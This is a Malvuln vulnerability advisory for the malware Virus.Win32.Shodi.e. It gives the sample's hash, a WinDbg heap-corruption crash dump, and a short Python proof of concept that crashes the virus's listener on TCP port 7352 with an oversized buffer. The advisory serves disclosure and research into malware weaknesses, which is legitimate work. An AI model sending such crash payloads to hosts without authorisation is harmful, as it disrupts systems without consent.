Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Virus.Win32.Shodi.e
Vulnerability: Heap Corruption
Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c
Vuln ID: MVID-2021-0281
Dropped files: Explorer.eXE,Explorer.usr,r_server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021

Memory Dump:
(1870.1494): C++ EH exception - code e06d7363 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003
eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
77daed3c c21400          ret     14h

0:007> .ecxr
eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910
eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
KERNELBASE!RaiseException+0x62:
75ec08f2 8b4c2454        mov     ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd

0:007> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Explorer.eXE
*** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
KERNELBASE!RaiseException+62
75ec08f2 8b4c2454        mov     ecx,dword ptr [esp+54h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062)
   ExceptionCode: e06d7363 (C++ EH exception)
  ExceptionFlags: 00000001
NumberParameters: 3
   Parameter[0]: 19930520
   Parameter[1]: 04b7fec0
   Parameter[2]: 7373f910

PROCESS_NAME:  Explorer.eXE

ERROR_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>

EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>

EXCEPTION_PARAMETER1:  19930520

EXCEPTION_PARAMETER2:  04b7fec0

EXCEPTION_PARAMETER3:  7373f910

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001494

DEFAULT_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

PRIMARY_PROBLEM_CLASS:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

BUGCHECK_STR:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun

LAST_CONTROL_TRANSFER:  from 750fa222 to 75ec08f2

STACK_TEXT:  
04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62
04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72
04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b
04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467
04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933
04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f
04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c
04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14
WARNING: Stack unwind information not available. Following frames may be wrong.
04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814
04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24
04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f
04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  !heap ; ~7s; .ecxr ; kb

FOLLOWUP_IP: 
mfc42!AfxThrowMemoryException+1b
7369679b cc              int     3

SYMBOL_STACK_INDEX:  2

SYMBOL_NAME:  mfc42!AfxThrowMemoryException+1b

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME:  mfc42.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  d94bc78

FAILURE_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException

BUCKET_ID:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b

Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7352

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*9402
    s.send(PAYLOAD)
    s.close()
    
    print("Virus.Win32.Shodi.e / Heap Corruption")
    print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c")
    print("By Malvuln");

if __name__=="__main__":
    doit()


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